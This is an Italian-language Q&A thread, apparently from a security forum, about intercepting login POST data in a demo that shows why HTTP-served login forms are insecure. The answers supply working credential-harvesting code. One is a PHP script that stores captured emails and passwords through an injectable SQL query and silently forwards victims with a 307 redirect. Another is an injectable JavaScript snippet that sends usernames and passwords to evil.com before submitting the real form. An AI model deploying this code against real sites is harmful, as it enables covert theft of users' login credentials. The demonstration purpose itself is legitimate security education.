Come posso acquisire i dati POST e inoltrare l'utente a un'altra pagina?

4

Attualmente dispongo di una configurazione di sito demo in cui carico il modulo di accesso su HTTP e successivamente su un URL HTTPS. L'obiettivo è dimostrare che questo non è un metodo sicuro per gestire il login.

Uso Fiddler per modificare il target per il modulo HTML in una pagina personale. Sto provando a catturare i dati POST ma poi inoltro l'utente al sito originale con i dati originali, in modo che la mia intercettazione sia invisibile all'utente.

Sto usando PHP e ho tutto funzionante fino al punto di reindirizzamento in modo che tutti i dati vengano archiviati nel mio database. Sto pensando forse a 307 inclusi i dati POST originali, ma non sono sicuro di come farlo in PHP, qualcuno può aiutarti?

    
posta Scott Helme 25.07.2013 - 22:24
fonte

3 risposte

1

Questo lo ha risolto alla fine. Il mio script PHP prende i valori, li memorizza nel database e inoltra l'utente. Nessun messaggio, nessun pop up, nessun avviso. Sono quindi collegato al sito di destinazione nessuno più saggio.

if(isset($_POST["email"]) && isset($_POST["password"])){
    $email = $_POST['email'];
    $password = $_POST['password'];
    $result = mysql_query("INSERT INTO table (email, password)
                               VALUES ('$email', '$password')");
    header("HTTP/1.1 307 Temporary Redirect");
    header("Location: http://www.***.co.uk/site/index.php");
}

Google Chrome versione 28.0.1500.72 m - NESSUN AVVERTIMENTO

Internet Explorer versione 9.0.8112.16421 - NESSUN AVVERTIMENTO

Mozilla Firefox versione 22.0 - Mi ha avvertito.

    
risposta data 25.07.2013 - 23:41
fonte
5

Questo è molto più facile di quello che stai cercando di fare. Basta intercettare l'evento di invio e fare una richiesta alla pagina malvagia che memorizzerà le credenziali rubate e restituirà un'immagine 1x1, quindi il browser gestirà automaticamente l'invio del modulo alla destinazione legittima corretta. Ecco un PoC (iniettalo prima di </body> )

var form = document.getElementById('myForm');
form.onsubmit = function(){
   var username = getElementById('userNameField').value;
   var password = getElementById('passWordField').value;
   var fakeImage = new Image();
   fakeImage.src= 'http://evil.com/evil?user=' + username + '&pass=' + password;
   fakeImage.onload = function(){document.getElementById('myForm').submit()}
   return false;
}

Sono abbastanza sicuro che questo non è il modo migliore per farlo, ma questa è solo l'idea generale.

Questo è praticamente ciò che il governo tunisino stava facendo per rubare gli account Facebook degli attivisti ; Iniettavano qualcosa di simile nella home page caricata HTTP e rubavano le credenziali.

    
risposta data 26.07.2013 - 02:11
fonte
1

Se vuoi che il browser per in modo trasparente invii due volte i dati, in genere non sei fortunato. Non lo farà. Ma potresti MITM che la connessione si comporta come un proxy trasparente. È abbastanza semplice.

Tuttavia, PHP potrebbe non essere la lingua migliore per quel tipo di progetto. Questa non sarebbe un'app Web.

AGGIUNTO

Un 307 (a volte) indurrà il browser a inviare nuovamente una richiesta POST, ma se lo fa, l'utente deve prima accettare una finestra di conferma della sicurezza. Alcuni browser effettueranno comunque un GET su richiesta 307.

Vedi anche: Response.Redirect con POST anziché Get?

    
risposta data 25.07.2013 - 22:43
fonte

Leggi altre domande sui tag